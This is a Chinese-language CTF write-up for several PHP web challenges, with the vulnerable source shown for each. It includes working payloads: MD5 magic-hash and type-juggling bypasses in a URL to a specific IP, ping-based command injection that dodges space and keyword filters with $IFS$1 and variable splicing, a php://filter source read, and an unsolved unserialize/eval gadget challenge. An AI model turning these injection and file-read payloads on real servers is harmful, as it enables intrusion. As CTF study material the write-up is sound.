super_easy_web
<?php
highlight_file('index.php');
include('flag.php');
//try to reach the flag in variable
if(isset($_GET['a'])&&isset($_GET['b'])&&isset($_GET['c'])&&isset($_GET['d'])){
if($_GET['a']!=$_GET['b']&&md5($_GET['a'])==md5($_GET['b'])){
echo 'welcome to lv2';
$c=$_GET['c'];
$d=$_GET['d'];
if($c==123456&&$c!==123456){
echo $$d;
}
}
}
两层绕过,分别是md5绕过和弱类型绕过
第一层(md5绕过)
数组绕过:
a=1&b=[]=2
利用php中十六进制和科学计数法的漏洞
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
第二层弱类型绕过
利用十六进制
将数字123456化成十六进制的字符串
最后构造的payload:
http://47.115.145.200:2031/index.php/?a=240610708&b=s878926199a&c=0x1e240&d=flag
1P1P
打开看见
想到强网杯那题,主动,想到命令注入
注入ls命令看目录
打开flag.php发现打不开
想到应该在mid.php找信息
cat mid.php
发现不能出现空格,要过滤
参考
大佬博客
用$IFS$1代替空格
得到
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("no space!");
} else if(preg_match("/bash/", $ip)){
die("no your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("no your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print($a);
}
不能出现flag
用变量绕过
?ip=127.0.0.1; $ a=g;cat$IFS$1fla $ a.php(无空格)
要在F12看flag
依旧开心哈哈哈
想到文件包含
?content=php://filter/read=convert.base64-encode/resource=index.php
得到一串base64编码
解码后得到
<?php
error_reporting(0);
echo("You know include(\$content),right?");
echo("<br>");
echo("try '?content=/flag/flag.php'???nonono!not so easy!");
echo("<br>");
echo("try to view source of index first!");
echo("<br>");
echo("use php-filter! bro<br>");
//highlight_file(__FILE__);
if(isset($_GET['content']))
{
$content = $_GET['content'];
if($content=="index.php")die("There will be a bug,try another way~");
if(substr($content,0,strlen("/flag/"))==="/flag/"||substr($content,0,strlen("flag/"))==="flag/"||substr($content,0,strlen("./flag/"))==="./flag/")
die("hack me???");
else
include ($content);//flag in the /flag/flag.php
}
?>
然后又是不能出现【flag】,想了很久还是没想到,着实不知道
Very_Ez_Unserialize
没看懂这个hint?
打开看到的代码,是代码审计
<?php
show_source("index.php");
class A{
public $a='0';
public function __construct()
{
$this->a='';
}
public function __destruct()
{
echo $this->a.'';
}
public function sp(){
return 'eagle 1, fox2';
}
}
class B{
public $b = '';
public function __construct()
{
$this->b=new A;
}
public function __toString()
{
return $this->b->sp();
}
}
class C{
public $c='echo \'welcome\';';
public function sp()
{
return eval($this->c);
}
public function getc($t){
$this->c=$t;
}
}
$s=unserialize($_GET['a']);
对反序列化完全没有头脑